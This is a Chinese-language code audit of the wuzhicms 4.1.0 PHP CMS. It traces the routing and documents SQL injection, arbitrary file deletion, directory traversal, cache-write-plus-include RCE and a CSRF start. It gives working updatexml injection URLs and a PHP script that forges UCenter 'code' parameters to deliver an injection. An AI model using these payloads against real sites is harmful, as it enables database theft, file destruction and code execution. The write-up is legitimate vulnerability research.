wuzhicms_4.1.0代码审计
审计 一.理清目录结构
首先发现是 MVC 架构,相比 yccms 的没那么明显,WWW\wuzhicms-4.1.0\www\api\uc_client 下面就是模型层和控制器层。
文档中写有模块结构的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |-- coreframe #框架目录 | |-- app #模块(应用程序)目录 | | |-- affiche #公告模块 | | |-- appshop #应用商城 | | |-- attachment #附件模块 | | |-- collect #采集器 ....................其他功能模块 ............. ....... | |-- configs #框架配置 | |-- core.php #框架入口 | |-- crontab #定时脚本目录 | |-- crontab.php #定时脚本入口 | |-- extend #扩展目录 | |-- languages #语言包 | --- templates #模板 |-- caches #缓存目录 | |-- _cache_ #公共缓存 | |-- block #区块、碎片缓存 | |-- content #内容模块缓存,栏目缓存 | |-- db_bak #数据库备份路径 | |-- install.check #安装锁定 | |-- model #模型缓存 | --- templates #模板缓存 --- www #网站根目录 |-- 404.html #404页面 |-- admin.php #后台入口 |-- api #api目录 |-- configs #网站配置 |-- favicon.ico #浏览器icon |-- index.html #网站首页 |-- index.php #动态地址首页 |-- res #静态资源 |-- robots.txt #搜索引擎防抓取规则 |-- uploadfile #附件 `-- web.php #自定义路由
二.入口文件及路由分析 2.1 入口文件
入口文件:WWW\wuzhicms-4.1.0\www\index.php 。
$app 是实例化类 WUZHI_application 返回的对象,执行 run 方法
1 2 3 4 5 6 7 8 9 10 11 12 <?php if (PHP_VERSION < '5.2.0' ) die ('Require PHP > 5.2.0 ' );define ('WWW_ROOT' ,dirname (__FILE__ ).'/' );require './configs/web_config.php' ;require COREFRAME_ROOT.'core.php' ;$app = load_class ('application' );$app ->run ();?>
load_class 跟进去:是要加载 coreframe/app/core/libs/class/application.class.php 文件,实例化 WUZHI_application 类并返回赋值给$app
存在 coreframe/app/core/libs/class/$class.php就实例化返回’WUZHI’_.$class 对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 function load_class ($class , $m = 'core' , $param = NULL ) { ..... if (file_exists (COREFRAME_ROOT.'app/' .$m .'/libs/class/' .$class .'.class.php' )) { $name = 'WUZHI_' .$class ; if (class_exists ($name , FALSE ) === FALSE ) { require_once (COREFRAME_ROOT.'app/' .$m .'/libs/class/' .$class .'.class.php' ); } } if ($class !='application' && $class !='admin' && file_exists (COREFRAME_ROOT.'app/' .$m .'/libs/class/EXT_' .$class .'.class.php' )) { $name = 'EXT_' .$class ; if (class_exists ($name , FALSE ) === FALSE ) { require_once (COREFRAME_ROOT.'app/' .$m .'/libs/class/EXT_' .$class .'.class.php' ); } } if ($name === FALSE ) { $full_dir = '' ; if (OPEN_DEBUG) $full_dir = COREFRAME_ROOT.'app/' .$m .'/libs/class/' ; echo 'Unable to locate the specified class: ' .$full_dir .$class .'.class.php' ; exit (); } $static_class [$class ] = isset ($param ) ? new $name ($param ) : new $name (); return $static_class [$class ]; }
2.2 路由文件 WUZHI_application 类在 coreframe/app/core/libs/class/application.class.php 文件里
它是整个应用的核心类,负责前端请求到后端控制器的连接与实例化。(load_file 方法里)
补充:在 PHP 中, final 关键字用于防止类被继承或方法被重写。通过在类或方法定义前加上 final 关键字,可以确保其行为不被子类修改。
application.class.php 文件即为路由文件:
m:模块名
f:文件名
v:方法名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php defined ('IN_WZ' ) or exit ('No direct script access allowed' );final class WUZHI_application { private $_m ; private $_f ; private $_v ; ......
方法:
构造器:初始化路由配置,并定义当前请求的模块,文件名,方法三个常量
1 2 3 4 5 6 public function __construct() { self::setconfig(); define('M',$this->_m); define('F',$this->_f); define('V',$this->_v); }
setconfig():设置当前请求路由的参数并进行安全过滤,预先设置自动注入全局 GET 参数。
(就是在路由配置文件里通过 _get 字段预先设置的参数。 这些参数会在每次请求时自动写入 $_GET,全局都能用。这样做的目的是:在路由初始化时,自动为$_GET 补充一些参数,便于后续业务逻辑统一获取。)
1 $file = $this ->load_file ();
load_file() 判断是否是后台请求,前端请求如果带有特殊的 _su 参数且等于 _SU 常量,则说明是后台请求 该方法用于加载并实例化指定模块下的控制器类,并返回该控制器的对象实例。 也就是说,调用此方法后,返回的就是要访问的模块下对应控制器的类对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 public static function load_file ($filename = '' , $app = '' , $param = '' ) { static $static_file = array (); if (isset ($GLOBALS ['_su' ]) && $GLOBALS ['_su' ]== _SU) { $_admin_dir = '/admin' ; } else { $_admin_dir = '' ; } if (isset ($static_file [$filename ])) { return $static_file [$filename ]; } if (empty ($filename )) $filename = F; if (empty ($app )) $app = M; $filepath = COREFRAME_ROOT.'app/' .$app .$_admin_dir .'/' .$filename .'.php' ; $name = FALSE ; if (file_exists ($filepath )) { $name = $filename ; if (class_exists ($name , FALSE ) === FALSE ) { require_once ($filepath ); } } if (file_exists (COREFRAME_ROOT.'app/' .$app .$_admin_dir .'/EXT_' .$filename .'.php' )) { $name = 'EXT_' .$filename ; if (class_exists ($name , FALSE ) === FALSE ) { require_once (COREFRAME_ROOT.'app/' .$app .$_admin_dir .'/EXT_' .$filename .'.php' ); } } $GLOBALS ['_CLASS_NAME_' ] = '' ; if ($name === FALSE ) { $full_dir = '' ; if (OPEN_DEBUG) { $full_dir = COREFRAME_ROOT.'app/' .$app .$_admin_dir .'/' ; } else { $full_dir = '/coreframe/app/' .$app .$_admin_dir .'/' ; } $filename = strip_tags ($filename ); echo 'Unable to locate the specified filename: ' .$full_dir .$filename .'.php' ; exit (); } if (class_exists ($name , FALSE ) === FALSE ) { return TRUE ; } $GLOBALS ['_CLASS_NAME_' ] = $name ; $static_file [$filename ] = isset ($param ) ? new $name ($param ) : new $name (); return $static_file [$filename ]; } }
所以入口文件 load_class()加载路由文件 application.class.php 并实例化,执行其 run 方法进而执行 load_file()实例化控制器类(coreframe/app/参数 m 传递的值即对应的模块/admin($_admin_dir 的默认值)/参数 f 传递的文件名.php)
即文件路径:
1 $filepath = COREFRAME_ROOT.'app/' .$app .$_admin_dir .'/' .$filename .'.php' ;
2.3 后台登陆 管理员的入口文件:WWW\wuzhicms-4.1.0\www\admin.php
重定向到入口文件/www/index.php,执行入口文件$app->run(),完成前后端的连接(根据路由参数自动调用控制器中的方法 _SU 为常量 wuzhicms)
1 2 if(defined('_SU')) { header("Location: ".WEBURL.'index.php?m=core&v=login&_su='._SU); } ?>
找到 login 方法在 coreframe/app/core/admin/index.php
1 2 3 4 5 6 function login ( ) { if (isset ($_SESSION ['uid' ]) && $_SESSION ['uid' ]!='' ) { MSG (L ('already login' ), '?m=core&f=index' .$this ->su (0 )); } ......
三.代码审计 3.1sql 注入 3.1.1 注入(一) 3.1.1.1 从功能点开始 从功能点出发去找,发现了一处 sql 注入报错,’闭合
payload:
1 /www/index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms&_menuid=54&_submenuid=54&keywords='
3.1.1.2 原因分析&代码跟进 路由对应的是 coreframe/app/core/admin/copyfrom.php 文件 listing()方法
该方法将全局接收的 keywords 参数直接作为参数,传入 db 对象调用的 get_list()中执行。db 是 copyfrom 类的构造器执行 load_file()实例化 db.class.php 文件中的 WUZHI_db 类对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public function listing ( ) { $siteid = get_cookie ('siteid' ); $page = isset ($GLOBALS ['page' ]) ? intval ($GLOBALS ['page' ]) : 1 ; $page = max ($page ,1 ); if (isset ($GLOBALS ['keywords' ])) { $keywords = $GLOBALS ['keywords' ]; $where = "`name` LIKE '%$keywords %'" ; } else { $where = '' ; } $result = $this ->db->get_list ('copyfrom' , $where , '*' , 0 , 20 ,$page ); $pages = $this ->db->pages; $total = $this ->db->number; include $this ->template ('copyfrom_listing' ); }
所以跟进到 db.class.php 文件(写了 WUZHI_DB 类)中的 get_list()又将$where 传入 array2sql()
1 2 3 final public function get_list ($table , $where = '' , $field = '*' , $startid = 0 , $pagesize = 200 , $page = 0 , $order = '' , $group = '' , $keyfield = '' , $urlrule = '' ,$array = array ( ),$colspan = 10 ) { $where = $this ->array2sql ($where ); .......
array2sql 对$where 进行安全处理,但不严谨
传入的参数只有是数组的时候才会进行处理去除%20 %27 ( ) ‘
否则只去除%20 %27
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private function array2sql ($data ) { if (empty ($data )) return '' ; if (is_array ($data )) { $sql = '' ; foreach ($data as $key => $val ) { $val = str_replace ("%20" , '' , $val ); $val = str_replace ("%27" , '' , $val ); $val = str_replace ("(" , '' , $val ); $val = str_replace (")" , '' , $val ); $val = str_replace ("'" , '' , $val ); $sql .= $sql ? " AND `$key ` = '$val ' " : " `$key ` = '$val ' " ; } return $sql ; } else { $data = str_replace ("%20" , '' , $data ); $data = str_replace ("%27" , '' , $data ); return $data ; } }
在 payload 中写%27,发现做安全处理时%27 是以’出现的,(后端接收是已经自动解码了)
将返回结果赋值给$where,接下来回到我们的 get_list 方法接着执行,调试一下跟着进去 count_result() —>count()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 final public function get_list ($table , $where = '' , $field = '*' , $startid = 0 , $pagesize = 200 , $page = 0 , $order = '' , $group = '' , $keyfield = '' , $urlrule = '' ,$array = array ( ),$colspan = 10 ) { $where = $this ->array2sql ($where ); $offset = 0 ; $page = max (intval ($page ), 1 ); $offset = $pagesize *($page -1 )+$startid ; if ($page ) { $this ->number = $this ->count_result ($table ,$where ); $this ->pages = pages ($this ->number, $page , $pagesize , $urlrule , $array ,$colspan ); } if ($page && $this ->number == 0 ) { return array (); } else { return $this ->read_db->get_list ($table , $where , $field , "$offset ,$pagesize " , $order , $group , $keyfield ); } }
又出现了 array2sql 再一次进行安全处理(虽然并不严谨嘞),之后 read_db->get_one 走到了 coreframe/app/core/libs/class/mysqli.class.php 的 get_one 方法(read_db 在 WUZHI_DB 的构造器里有定义是 WUZHI_mysqli 实例化对象)
1 2 3 4 final public function count ($table , $where = '' , $field = "COUNT(*) AS num" , $startid = 0 , $order = '' , $group = '' ) { $where = $this ->array2sql ($where ); return $this ->read_db->get_one ($table , $where , $field , "$startid ,1" , $order , $group , FALSE ); }
mysqli.class.php :get_one()直接将$where 拼接到 sql 语句中 query()执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public function get_one ($table , $where , $field = '*' , $limit = '' , $order = '' , $group = '' , $condition = TRUE ) { $where = $where ? ' WHERE ' .$where : '' ; if ($condition ) { $field = $field == '*' ? '*' : self ::safe_filed ($field ); } else { $field = $this ->escape_string ($field ); } $order = $order ? ' ORDER BY ' .$order : '' ; $group = $group ? ' GROUP BY ' .$group : '' ; $limit = $limit ? ' LIMIT ' .$limit : '' ; $sql = 'SELECT ' .$field .' FROM `' .$this ->tablepre.$table .'`' .$where .$group .$order .$limit ; $query = $this ->query ($sql ); return $this ->fetch_array ($query ); }
query 是自定义的,在它里面调 halt()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public function query ($sql , $type = '' , $cachetime = FALSE ) { if (!($query = mysqli_query ($this ->link,$sql )) && $type != 'SILENT' ) { $this ->halt ('MySQL Query Error' , $sql ); } $this ->querynum++; $this ->histories[] = $sql ; if (defined ('SQL_LOG' ) && SQL_LOG=='1' ) { if (substr ($sql ,0 ,21 )!='INSERT INTO `wz_logs`' && substr ($sql ,0 ,24 )!='DELETE FROM `wz_session`' && substr ($sql ,0 ,25 )!='REPLACE INTO `wz_session`' ) { error_log (date ('Y-m-d H:i:s' ,SYS_TIME).' ' .$sql ."\r\n" , 3 , CACHE_ROOT."sql_log." .CACHE_EXT.'.sql' ); } } return $query ; }
halt 将错误信息、SQL 语句和 MySQL 错误内容一起输出,所以可以用报错注入
1 2 3 4 5 6 7 public function halt ($message = '' , $sql = '' ) { MSG ('<div style="font-size: 9px;word-break: break-all;height: 150px;overflow: overlay;">[sql_error]' .$message .' ' .$sql .' [msg]' .mysqli_error ($this ->link).'</div>' ); } }
3.1.2 注入(二)同(一) 发现网站还是有很多的搜索的,既然 array2sql()的安全处理有问题,后面也给报错注入提供了机会,接下来全局搜索 get_list 方法
找第二个参数不是数组的,且是可控变量
coreframe/app/order/admin/card.php
对应的路由就是/www/index.php?m=order&f=card&v=listing&_su=wuzhicms
3.1.2.1 构造 payload 接着根据源码构造 payload,这里和 sql 注入(一)都是利用 get_list()接受的第二个参数不是数组来绕过较完善的安全处理,不太一样的就是参数 key_type 要改成非 0,非 1 的跳过 if,直接 get_list
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public function listing ( ) { $page = isset ($GLOBALS ['page' ]) ? intval ($GLOBALS ['page' ]) : 1 ; $page = max ($page ,1 ); $batchid = isset ($GLOBALS ['batchid' ]) ? $GLOBALS ['batchid' ] : 0 ; $keytype = isset ($GLOBALS ['keytype' ]) ? $GLOBALS ['keytype' ] : 0 ; $keywords = isset ($GLOBALS ['keywords' ]) ? trim ($GLOBALS ['keywords' ]) : '' ; $where = $batchid ? "`batchid`='$batchid '" : '' ; if ($keytype ==0 && $keywords ) { $where = "card_no LIKE '$keywords %'" ; } elseif ($keytype ==1 && $keywords ) { $r = $this ->db->get_one ('member' , array ('username' => $keywords )); if ($r ) { $uid = $r ['uid' ]; $where = "uid = '$uid '" ; } else { MSG ('用户不存在' ,HTTP_REFERER); } } $result = $this ->db->get_list ('order_card' , $where , '*' , 0 , 20 ,$page ,'cardid DESC' ); $pages = $this ->db->pages; $total = $this ->db->number; $status_arr = array ('<b>待发送</b>' ,'未预约' ,'已预约' ); include $this ->template ('card_listing' ); }
还找到一个
coreframe/app/promote/admin/index.php search()方法
和(一)一模一样
1 2 3 4 5 6 7 8 9 10 public function search ( ) { $siteid = get_cookie ('siteid' ); $page = isset ($GLOBALS ['page' ]) ? intval ($GLOBALS ['page' ]) : 1 ; $page = max ($page ,1 ); $fieldtype = $GLOBALS ['fieldtype' ]; $keywords = $GLOBALS ['keywords' ]; if ($fieldtype =='place' ) { $where = "`siteid`='$siteid ' AND `name` LIKE '%$keywords %'" ; $result = $this ->db->get_list ('promote_place' , $where , '*' , 0 , 50 ,$page ,'pid ASC' ); .......
同理的再+1
1 2 3 4 5 6 7 8 public function detail_listing ( ) { $page = isset ($GLOBALS ['page' ]) ? intval ($GLOBALS ['page' ]) : 1 ; $page = max ($page ,1 ); $groupname = isset ($GLOBALS ['groupname' ]) ? strip_tags ($GLOBALS ['groupname' ]) : '' ; $where = $groupname ? "groupname='$groupname '" : '' ; $result = $this ->db->get_list ('coupon_card' , $where , '*' , 0 , 20 ,$page ,'cardid DESC' ); $pages = $this ->db->pages; $t
在 PHP 中, <font style="color:rgba(0, 0, 0, 0.85);">strip_tags()</font> 是一个内置函数,用于从字符串中移除 HTML 和 PHP 标签。它通常用于过滤用户输入,防止 XSS 攻击或净化文本内容
这里对应的功能点是要生成一个优惠劵,在优惠卷列表这里
在搜索的过程中发现
\phpstudy_pro\WWW\wuzhicms-4.1.0\www\api\uc.php 但是访问这个接口返回 Invalid Request,在后面参考文章知道也是可以利用的
注意是双引号闭合的哈!!!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function synlogin ($get , $post ) { header ('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"' ); $username = $get ['username' ]; $r = $this ->member->db->get_one ('member' , 'username="' .$username .'"' ); print_r ($r ); if ($r ){ $cookietime = COOKIE_TTL ? SYS_TIME.COOKIE_TTL : 0 ; set_cookie ('auth' , encode ($r ['uid' ]."\t" .$r ['password' ]."\t" .$cookietime , substr (md5 (_KEY), 8 , 8 )), $cookietime ); set_cookie ('_uid' , $r ['uid' ], $cookietime ); set_cookie ('_username' , $r ['username' ], $cookietime ); set_cookie ('_groupid' , $r ['groupid' ], $cookietime ); } return API_RETURN_SUCCEED; }
返回 Invalid Request 因为:
这个接口是专门为 UCenter(用户中心)服务端通信设计的,不是给普通用户或浏览器访问的页面。
它需要一个经过加密的 code 参数,只有 UCenter 系统才能正确生成。
调试拿到自己的 key
将用 ai 写的脚本放在根目录下访问,得到输出的 Code
payload 构造:’username’ => ‘1111” and updatexml(1,concat(0x7e,database()),1) – ‘
注意 “ 闭合,–空格 才能起到注释作用,–+会使得本身语法报错,就不会触发 updatexml 报错了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <?php function _authcode ($string , $operation = 'DECODE' , $key = '' , $expiry = 0 ) { $ckey_length = 4 ; $key = md5 ($key ? $key : '123456' ); $keya = md5 (substr ($key , 0 , 16 )); $keyb = md5 (substr ($key , 16 , 16 )); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr ($string , 0 , $ckey_length ): substr (md5 (microtime ()), -$ckey_length )) : '' ; $cryptkey = $keya .md5 ($keya .$keyc ); $key_length = strlen ($cryptkey ); $string = $operation == 'DECODE' ? base64_decode (substr ($string , $ckey_length )) : sprintf ('%010d' , $expiry ? $expiry + time () : 0 ).substr (md5 ($string .$keyb ), 0 , 16 ).$string ; $string_length = strlen ($string ); $result = '' ; $box = range (0 , 255 ); $rndkey = array (); for ($i = 0 ; $i <= 255 ; $i ++) { $rndkey [$i ] = ord ($cryptkey [$i % $key_length ]); } for ($j = $i = 0 ; $i < 256 ; $i ++) { $j = ($j + $box [$i ] + $rndkey [$i ]) % 256 ; $tmp = $box [$i ]; $box [$i ] = $box [$j ]; $box [$j ] = $tmp ; } for ($a = $j = $i = 0 ; $i < $string_length ; $i ++) { $a = ($a + 1 ) % 256 ; $j = ($j + $box [$a ]) % 256 ; $tmp = $box [$a ]; $box [$a ] = $box [$j ]; $box [$j ] = $tmp ; $result .= chr (ord ($string [$i ]) ^ ($box [($box [$a ] + $box [$j ]) % 256 ])); } if ($operation == 'DECODE' ) { if ((substr ($result , 0 , 10 ) == 0 || substr ($result , 0 , 10 ) - time () > 0 ) && substr ($result , 10 , 16 ) == substr (md5 (substr ($result , 26 ).$keyb ), 0 , 16 )) { return substr ($result , 26 ); } else { return '' ; } } else { return $keyc .str_replace ('=' , '' , base64_encode ($result )); } }$data = array ( 'action' => 'synlogin' , 'username' => '1111" and updatexml(1,concat(0x7e,database()),1) -- ' , 'time' => time () );$query = http_build_query ($data );$uc_key = 'e063rbkHX22RAvIg' ; $code = _authcode ($query , 'ENCODE' , $uc_key );echo "http://wuzhicms:8126/www/api/uc.php?code=" . urlencode ($code );
加上 code 再访问就成功了
wuzhicms:8126/www/api/uc.php?code=9675YErSfI7%2FTSjfF96QJIXD289WM2BGZBb7hojSXsjZWrO5ZtPqStiDPp1oKaysw73e5MKbfBZxZRfYTzas%2Bu0L8zGkY1RNCIjUGyMJ0fb7TqisICD7G28M86WkntsZ04%2FIpGJk9LbVT0jyyVFszXtKVYMNZIpjl%2BJ8S7O5JK4UzDiOkY%2FCjdhqdxaDXA
3.1.3 注入(三) 3.1.3.1 从可控参数开始 以上是从一个功能点找到的,分析对应代码找到一个危险方法进而找到的。接着从可控参数入手且需要能与数据库进行交互的,搜索$GLOBALS
coreframe/app/member/admin/group.php 的 del 方法,db->delete()跟进到 coreframe/app/core/libs/class/db.class.php 文件(db 是 load_class 加载的)
并且这里是以数组 的形式传递的,那么安全处理时就全处理了(但)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public function del ( ) { if (isset ($GLOBALS ['groupid' ]) && $GLOBALS ['groupid' ]) { if (is_array ($GLOBALS ['groupid' ])) { $where = ' IN (' .implode (',' , $GLOBALS ['groupid' ]).')' ; foreach ($GLOBALS ['groupid' ] as $gid ) { $this ->db->delete ('member_group_priv' , array ('groupid' => $gid )); } } else { $where = ' = ' .$GLOBALS ['groupid' ]; $this ->db->delete ('member_group_priv' , array ('groupid' => $GLOBALS ['groupid' ])); } $this ->db->delete ('member_group' , 'issystem != 1 AND groupid' .$where ); $this ->group->set_cache ();
db.class.php:
master_db->delete($table, $where)
1 2 3 4 final public function delete ($table , $where = '' ) { $where = $this ->array2sql ($where ); return $this ->master_db->delete ($table , $where ); }
在构造器里找到 master_db 是 WUZHI_musqli 实例化对象(文件路径为:coreframe/app/core/libs/class/mysqli.class.php)
get_config()方法是在 core.php 文件中去定义的,因为入口文件会加载 coreframe/core.php,该方法返回配置文件 mysql_config.php 内容
1 2 3 4 5 6 7 8 9 10 11 12 public function __construct ($config_file = 'mysql_config' ) { $this ->mysql_config = get_config ($config_file ); $this ->dbname = $this ->mysql_config[$this ->db_key]['dbname' ]; $this ->tablepre = $this ->mysql_config[$this ->db_key]['tablepre' ]; $this ->dbcharset = $this ->mysql_config[$this ->db_key]['dbcharset' ]; $this ->slave_server = isset ($this ->mysql_config[$this ->db_key]['slave_server' ]) ? $this ->mysql_config[$this ->db_key]['slave_server' ] : '' ; $class = $this ->mysql_config[$this ->db_key]['type' ]; require_once (COREFRAME_ROOT.'app/core/libs/class/' .$class .'.class.php' ); $classname = 'WUZHI_' .$class ; $this ->master_db = new $classname ($this ->mysql_config[$this ->db_key]);
所以就跟到了 mysqli.class.php 的 delet 方法
好这里是直接拼接的
1 2 3 4 5 public function delete ($table , $where = '' ) { $where = $where ? ' WHERE ' .$where : '' ; $sql = 'DELETE FROM `' .$this ->tablepre.$table .'`' .$where ; return $this ->query ($sql ); }
在 query 中用了 halt, 所以报错注入
1 2 3 4 5 public function query ($sql , $type = '' , $cachetime = FALSE ) { if (!($query = mysqli_query ($this ->link,$sql )) && $type != 'SILENT' ) { $this ->halt ('MySQL Query Error' , $sql ); }
以上就是分析的全过程,payload:
1 /www/index.php?m=member&f=group&v=del&groupid=4+and+(updatexml(1,concat(0x7e,database()),1))--+&_su=wuzhicms....
3.1.4 总结一下
这套源码将接受的全局参数赋值给$where 时用’或”闭合时没做数组处理就直接传:使得安全处理方法仅仅对仅过滤%20 %27——>使得能成功闭合
注入 3 虽然是将$where 处理为数组再传入安全处理的方法,但它是数字型的不需要闭合
而且·在执行 sql 语句时用自定义的 query 方法,该方法里面调用了 halt 方法输出报错信息——>使得能用报错注入
3.2 任意文件删除 危险函数列表:
1 2 3 4 5 6 7 unlink() rmdir() array_map('unlink',glob()) system("rm -rf $path") Filesystem::deleteDirectory remove_dir Filesystem::delete
全局搜索 unlink(),查看参数可控的
找到 coreframe/app/attachment/admin/index.php del()方法
调用自定义的 my_unlink 方法,url 参数经过 remove_xss 处理,没过滤../
我们要执行危险方法 unlink,if 里面有,else 里面也有,执行哪一个?
注意这里 if 里面的 unlink 是以从数据库中查询后返回的结果作为参数,参数不可控的!
所以就进入下面的 else,
$url中的ATTACHMENT_URL 替换为空赋给$path
define(‘ATTACHMENT_URL’,’http://wuzhicms:8126/www/uploadfile/ ‘);
到数据库中去查找有没有对应的信息,当 id 不传入,这里$att_info 为空, 直接调用类中的 my_unlink 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 public function del ( ) { $id = isset ($GLOBALS ['id' ]) ? $GLOBALS ['id' ] : '' ; $url = isset ($GLOBALS ['url' ]) ? remove_xss ($GLOBALS ['url' ]) : '' ; if (!$id && !$url ) MSG (L ('operation_failure' ), HTTP_REFERER, 3000 ); if ($id ) { if (!is_array ($id )) { $ids = array ($id ); } else { $ids = $id ; } foreach ($ids as $id ) { $where = array ('id' => $id ); $att_info = $this ->db->get_one ('attachment' , $where , 'usertimes,path' ); if ($att_info ['usertimes' ] > 1 ) { $this ->db->update ('attachment' , 'usertimes = usertimes-1' , $where ); } else { $this ->my_unlink (ATTACHMENT_ROOT . $att_info ['path' ]); $this ->db->delete ('attachment' , $where ); $this ->db->delete ('attachment_tag_index' , array ('att_id' =>$id )); } } MSG (L ('delete success' ), HTTP_REFERER, 1000 ); } else { if (!$url ) MSG ('url del ' . L ('operation_failure' ), HTTP_REFERER, 3000 ); $path = str_ireplace (ATTACHMENT_URL, '' , $url ); if ($path ) { $where = array ('path' => $path ); $att_info = $this ->db->get_one ('attachment' , $where , 'usertimes,id' ); if (empty ($att_info )) { $this ->my_unlink (ATTACHMENT_ROOT . $path ); MSG (L ('operation_success' ), HTTP_REFERER, 3000 ); } if ($att_info ['usertimes' ] > 1 ) { $this ->db->update ('attachment' , 'usertimes = usertimes-1' , array ('id' => $att_info ['id' ])); } else { $this ->my_unlink (ATTACHMENT_ROOT . $path ); $this ->db->delete ('attachment' , array ('id' => $att_info ['id' ])); MSG (L ('operation_success' ), HTTP_REFERER, 3000 ); } }.....
单独拿出来:
$this->my_unlink(ATTACHMENT_ROOT . $path);
当前目录:define(‘ATTACHMENT_ROOT’,WWW_ROOT.’uploadfile/‘);
my_link()
看到该方法,只要传入的路径下存在指定的文件,就直接进行操作,那么就能达到任意文件删除的目的
1 2 3 4 private function my_unlink ($path ) { if (file_exists ($path )) unlink ($path ); }
在网站根目录下放 1.php
3.2 目录遍历 在返回上一级目录这里,抓包:
1 /www/index.php?dir=.&m=attachment&f=index&v=dir&_su=wuzhicms&_menuid=29&_submenuid=52
分析路由,对应文件就在 coreframe/app/attachment/admin/index.php
$GLOBALS[‘dir’]去除首尾空格后,过滤” ..\ ./ ./ .\ %2F //“
将变量$dir 拼接到 ATTACHMENT_ROOT . $dir . ‘/‘ . ‘*‘中传入 glob() define(‘ATTACHMENT_ROOT’,WWW_ROOT.’uploadfile/‘);
在 PHP 中, <font style="color:rgba(0, 0, 0, 0.85);">glob()</font> 是一个用于文件系统操作的内置函数,用于查找与指定模式匹配的文件路径。它类似于命令行中的 <font style="color:rgba(0, 0, 0, 0.85);">ls</font> 或 <font style="color:rgba(0, 0, 0, 0.85);">dir</font> 命令,但返回的是符合条件的文件和目录的数组
1 2 3 4 5 6 7 8 9 public function dir ( ) { $dir = isset ($GLOBALS ['dir' ]) && trim ($GLOBALS ['dir' ]) ? str_replace (array ('..\\' , '../' , './' , '.\\' ), '' , trim ($GLOBALS ['dir' ])) : '' ; $dir = str_ireplace (array ('%2F' , '//' ), '/' , $dir ); $lists = glob (ATTACHMENT_ROOT . $dir . '/' . '*' ); if (!empty ($lists )) rsort ($lists ); $cur_dir = str_replace (array (WWW_ROOT, DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR), array ('' , DIRECTORY_SEPARATOR), ATTACHMENT_ROOT . $dir . '/' ); include $this ->template ('dir' , M); }
所以 poc 中 dir=.. (.不会过滤,与后面的/进行拼接 就返回上一级,可以目录遍历)
/coreframe/app/template/admin/index.php 这个文件中还有一个方法 listing 也有同样的问题。不详细看了
1 2 3 4 5 6 7 8 9 public function listing ( ) { $dir = $this ->dir; $lists = glob (TPL_ROOT.$dir .'/' .'*' ); $cur_dir = str_replace (array ( COREFRAME_ROOT ,DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR), array ('' ,DIRECTORY_SEPARATOR), TPL_ROOT.$dir .'/' ); $show_dialog = 1 ; include $this ->template ('listing' ); }
3.3 任意文件写入+文件包含=rce coreframe/app/attachment/admin/index.php 文件
对传入的 submit 参数进行判断,有则用 cache_in_db 进行缓存信息的写入,没有会读取缓存信息
1 2 3 4 5 6 7 8 9 10 11 12 13 public function ueditor ( ) { if (isset ($GLOBALS ['submit' ])) { $cache_in_db = cache_in_db ($GLOBALS ['setting' ], V, M); set_cache (V, $GLOBALS ['setting' ]); MSG (L ('operation_success' ), HTTP_REFERER, 3000 ); } else { $setting = get_cache (V);if (empty ($setting )) $setting = cache_in_db ('' , V, M); include $this ->template (V, M); } }
将信息写入后,调用 set_cache()(coreframe/app/core/libs/function/common.func.php 文件里)
$filename传入的是V, $data是$GLOBALS[‘setting’],在下面的方法中 file_put_contents($filename, $data);将$data 未处理写入$filename 中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function set_cache ($filename , $data , $dir = '_cache_' ) { static $_dirs ; if ($dir == '' ) return FALSE ; if (!preg_match ('/([a-z0-9_]+)/i' , $filename )) return FALSE ; $cache_path = CACHE_ROOT . $dir . '/' ; if (!isset ($_dirs [$filename . $dir ])) { if (!is_dir ($cache_path )) { mkdir ($cache_path , 0777 , true ); } $_dirs [$filename . $dir ] = 1 ; } $filename = $cache_path . $filename . '.' . CACHE_EXT . '.php' ; if (is_array ($data )) { $data = '<?php' . "\r\n return " . array2string ($data ) . '?>' ; } file_put_contents ($filename , $data ); }
成功写入缓存文件里面
未传入 submit 时调用 的 get_cache方法
$filename(V) 和$dir( cache )作为参数
get_cache_path 获取缓存文件对应的路径并赋值给$file
最后包含$file
1 2 3 4 5 6 function get_cache ($filename , $dir = '_cache_' ) { $file = get_cache_path ($filename , $dir ); if (!file_exists ($file )) return '' ; $data = include $file ; return $data ; }
所以要触发上面写的 php 代码
直接访问/www/index.php?m=attachment&f=index&_su=wuzhicms&v=ueditor
3.4 CSRF 添加管理员抓包,根据对应的路由找到方法
coreframe/app/core/admin/power.php add 方法
